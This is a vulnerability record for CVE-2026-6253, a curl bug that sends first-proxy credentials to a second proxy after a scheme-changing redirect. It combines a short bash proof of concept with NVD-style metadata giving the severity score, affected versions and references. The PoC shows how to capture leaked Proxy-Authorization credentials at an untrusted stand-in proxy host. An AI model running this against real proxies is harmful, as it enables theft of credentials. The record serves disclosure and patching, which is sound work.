CVE-2026-6253

#!/bin/bash # PoC for CVE-2026-6253 # Description: Demonstrates credential leakage to a second proxy during redirect. # Configuration # Proxy A: Requires authentication (user:pass) # Proxy B: Does not require authentication # Set environment variables for proxies export http_proxy="http://user:[email protected]:8080" export https_proxy="http://proxy-b.untrusted.com:8443" # Target URL that redirects from http to https # The server at http://target.com should return 302 to https://target.com echo "Sending request..." # The curl command follows the redirect (-L) # Vulnerable versions will send 'Proxy-Authorization: Basic ...' header to proxy-b.untrusted.com curl -v -L http://target.com/redirect echo "Check proxy-b logs for leaked credentials."

{"cve": {"id": "CVE-2026-6253", "sourceIdentifier": "2499f714-1537-4658-8207-48ae4bb9eae9", "published": "2026-05-13T13:01:56.570", "lastModified": "2026-05-14T13:40:53.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "curl might erroneously pass on credentials for a first proxy to a second\nproxy.\n\nThis can happen when the following conditions are true:\n\n1. curl is setup to use specific different proxies for different URL schemes\n2. the first proxy needs credentials\n3. the second proxy uses no credentials\n4. while using the first proxy (using say `http://`), curl is asked to follow\n a redirect to a URL using another scheme (say `https://`), accessed using a\n second, different, proxy"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.14.1", "versionEndExcluding": "8.20.0", "matchCriteriaId": "C839F5FA-8CCE-4F13-851D-E60E8EAAA08C"}]}]}], "references": [{"url": "https://curl.se/docs/CVE-2026-6253.html", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://curl.se/docs/CVE-2026-6253.json", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Vendor Advisory"]}, {"url": "https://hackerone.com/reports/3669637", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/29/11", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch", "Third Party Advisory"]}, {"url": "https://hackerone.com/reports/3669637", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}